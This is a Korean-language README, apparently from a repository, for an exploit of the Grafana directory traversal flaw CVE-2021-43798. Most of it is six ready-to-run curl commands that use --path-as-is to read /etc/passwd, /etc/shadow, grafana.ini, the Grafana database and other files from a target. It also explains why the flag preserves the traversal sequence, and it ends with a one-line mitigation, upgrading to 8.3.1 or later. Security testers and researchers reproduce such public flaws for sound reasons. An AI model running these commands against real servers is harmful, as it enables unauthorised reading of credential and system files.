Grafana CVE-2021-43798 익스플로잇

개요

이 저장소는 Grafana의 디렉터리 트래버설 취약점인 CVE-2021-43798의 익스플로잇을 보여줍니다. 이 취약점으로 인해 공격자는 서버의 임의 파일을 읽을 수 있습니다.

CVE 세부 정보

• CVE: CVE-2021-43798
• 설명: Grafana 8.3.1 이전 버전의 디렉터리 트래버설 취약점.
• 영향: 인증되지 않은 공격자가 서버의 임의 파일을 읽을 수 있습니다.

사전 요구 사항

• 취약한 Grafana 버전 실행 중 (8.3.1 이전)
• 대상 Grafana 인스턴스에 대한 접근

익스플로잇

curl 사용

취약점을 수동으로 익스플로잇하려면 다음 curl 명령 중 하나를 사용하여 민감한 파일을 읽을 수 있습니다:

curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../Users/install.txt"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/passwd"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/grafana/grafana.ini"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../var/lib/grafana/grafana.db"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/hostname"
curl --path-as-is "http://<target_ip>:3000/public/plugins/alertlist/../../../../../../../../../../../etc/shadow"

--path-as-is가 필요한 이유?

Grafana CVE-2021-43798 디렉터리 트래버설 취약점을 익스플로잇하는 맥락에서 --path-as-is 옵션은 필수적입니다. 이 옵션을 사용하면 특수하게 조작된 트래버설 시퀀스(../../../../../)가 수정되지 않고 서버로 직접 전송될 수 있기 때문입니다. 이로 인해 의도된 디렉터리 외부의 민감한 파일에 접근할 수 있습니다.

--path-as-is가 없으면 curl은 경로를 /public/plugins/Users/install.txt와 같이 정규화하여 취약점을 익스플로잇하지 못할 수 있습니다. --path-as-is를 사용하면 정확한 트래버설 시퀀스가 보존되어 익스플로잇이 성공할 수 있습니다.

문서 참조

curl 문서에서 --path-as-is 옵션에 대한 자세한 내용을 확인할 수 있습니다. 보안 전문가와 연구자는 --path-as-is를 이해하고 활용함으로써 웹 애플리케이션의 디렉터리 트래버설 취약점을 효과적으로 시연하고 테스트할 수 있습니다.

완화 조치

이 취약점을 완화하려면 Grafana를 8.3.1 이상 버전으로 업그레이드하십시오.